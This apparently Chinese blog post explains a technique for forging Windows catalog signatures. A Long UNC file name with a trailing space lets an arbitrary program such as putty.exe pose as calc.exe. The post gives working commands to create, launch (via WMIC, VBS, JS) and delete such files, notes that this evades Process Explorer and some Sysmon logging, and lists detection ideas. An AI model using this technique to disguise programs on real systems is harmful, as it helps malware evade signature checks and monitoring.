Catalog 签名伪造——Long UNC 文件名欺骗
0x00 前言
这次将要介绍一个 Catalog 签名伪造的方法,利用 Long UNC 文件名欺骗系统,获得系统内置的 Catalog 签名
注:本文介绍的技巧参考自 Matt Graeber@mattifestation 公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。
参考资料:http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1
0x01 简介
本文将要介绍以下内容:
- Long UNC 基础知识
- Long UNC 文件名欺骗的方法
- Long UNC 文件名欺骗优缺点分析
0x02 Long UNC 介绍
UNC(Universal Naming Convention)
通用命名规则,可用来表示 Windows 系统中文件的位置
详细介绍可参考如下链接:https://en.wikipedia.org/wiki/Path_(computing )
Long UNC
正常 UNC 支持的最大长度为 260 字符
为了支持更长的字符,引入了 Long UNC,支持最大长度为 32767
格式举例: \\?\C:\test\a.exe
type putty.exe > "\\?\C:\test\longUNC.exe"
如下图,使用 Long UNC 的文件同普通文件没有区别
特别用法:
如果在 Long UNC 文件名后面加一个空格,系统对文件名的判断将发生错误
type putty.exe > "\\?\C:\test\mimikatz.exe "
如下图
将 putty.exe 重命名为 "\\?\C:\test\mimikatz.exe "
,右键查看 "\\?\C:\test\mimikatz.exe "
的文件属性
发现了奇怪的地方: 属性显示该文件为样本文件 mimikatz.exe 的属性
直观理解:特殊 Long UNC 的文件能够欺骗系统,将其识别为另一个文件
0x03 Long UNC 文件名欺骗的方法
由上节测试,我们知道利用 Long UNC 能够复制文件属性
那么,如果复制的是系统文件,甚至是带有 catalog 签名的文件,是否能实现 catalog 的签名伪造?
测试 1: 伪造 calc.exe 的 catalog 签名
测试系统: Win7 x86
使用 sigcheck.exe 查看 calc.exe 的 catalog 签名:
sigcheck.exe -i c:\windows\system32\calc.exe
如下图
Long UNC 文件伪造:
type putty.exe > "\\?\C:\Windows\System32\calc.exe "
注:输出到 c:\windows\system32\
需要管理员权限
特殊文件名必须放在目标的同级目录下,即 C:\Windows\System32
,否则启动失败
如下图,验证结论,特殊 Long UNC 能够复制文件属性
获取短文件名:
dir /x calc*.exe
如下图
"\\?\C:\Windows\System32\calc.exe "
可用短文件名 CALC~1.EXE 代替
使用 sigcheck.exe 查看该文件的 catalog 签名:
sigcheck.exe -i "\\?\C:\Windows\System32\calc.exe "
or
sigcheck.exe -i C:\Windows\System32\CALC~1.EXE
如下图
成功伪造 catalog 签名
测试 2: 执行特殊 Long UNC 文件
1、无法双击执行
2、通过命令行
"\\?\C:\Windows\System32\calc.exe "
提示系统找不到指定的路径
C:\Windows\System32\CALC~1.EXE
启动正常 calc.exe
3、通过 WMIC
wmic process call create C:\Windows\System32\CALC~1.exe
4、通过 vbs
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "c:\windows\system32\calc~1.exe"
5、通过 js
var wsh=new ActiveXObject("wscript.shell");
wsh.run("c:\\windows\\system32\\calc~1.exe");
启动后,进程名为 calc~1.exe
特别的地方:
通过 Process Explorer 验证进程签名,识别为 calc.exe 的默认微软证书
如下图
注:
关于文件的描述,例如截图中的 "SSH, Telnet and Rlogin client"
可通过修改程序的资源进行伪造,方法暂略
得出结论: 执行特殊 Long UNC 文件能够欺骗 Process Explorer 的进程签名验证
补充:
能够欺骗 Sysmon 的部分日志监控功能,例如 Process creation
测试 3: 无法欺骗的工具
1、使用 certutil.exe 计算 MD5
certutil.exe -hashfile C:\Windows\System32\calc.exe MD5
certutil.exe -hashfile C:\Windows\System32\calc~1.exe MD5
注:
certutil.exe -hashfile "\\?\C:\Windows\System32\calc.exe " MD5
报错提示系统找不到文件
如下图
测试 4: 多个同名文件夹的生成
type putty.exe > "\\?\C:\Windows\System32\calc.exe "
type putty.exe > "\\?\C:\Windows\System32\calc.exe "
type putty.exe > "\\?\C:\Windows\System32\calc.exe "
如下图
测试 5: 特殊 Long UNC 文件的删除
del "\\?\C:\Windows\System32\calc.exe "
or
del C:\Windows\System32\CALC~1.exe
测试 6: 其他系统测试
支持 Win7-Win10
64 位系统需要注意重定向问题
0x04 利用分析
利用特殊 Long UNC 文件名欺骗系统对文件路径的判断,实现伪造 catalog 签名
特点:
欺骗系统对文件名的检查,将文件伪造成系统文件,伪造 catalog 签名
防御检测:
1、权限控制
欺骗系统文件,需要有系统文件夹的可写权限
2、文件识别
同级目录同名文件
3、进程名判断
特殊进程名,格式为短文件名,例如 CALC~1.EXE
4、工具检测
使用 certutil.exe 校验文件 hash
0x05 小结
本文介绍了利用特殊 Long UNC 文件名欺骗系统并获得 Catalog 签名的技巧,分析利用方法,分享防御思路。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论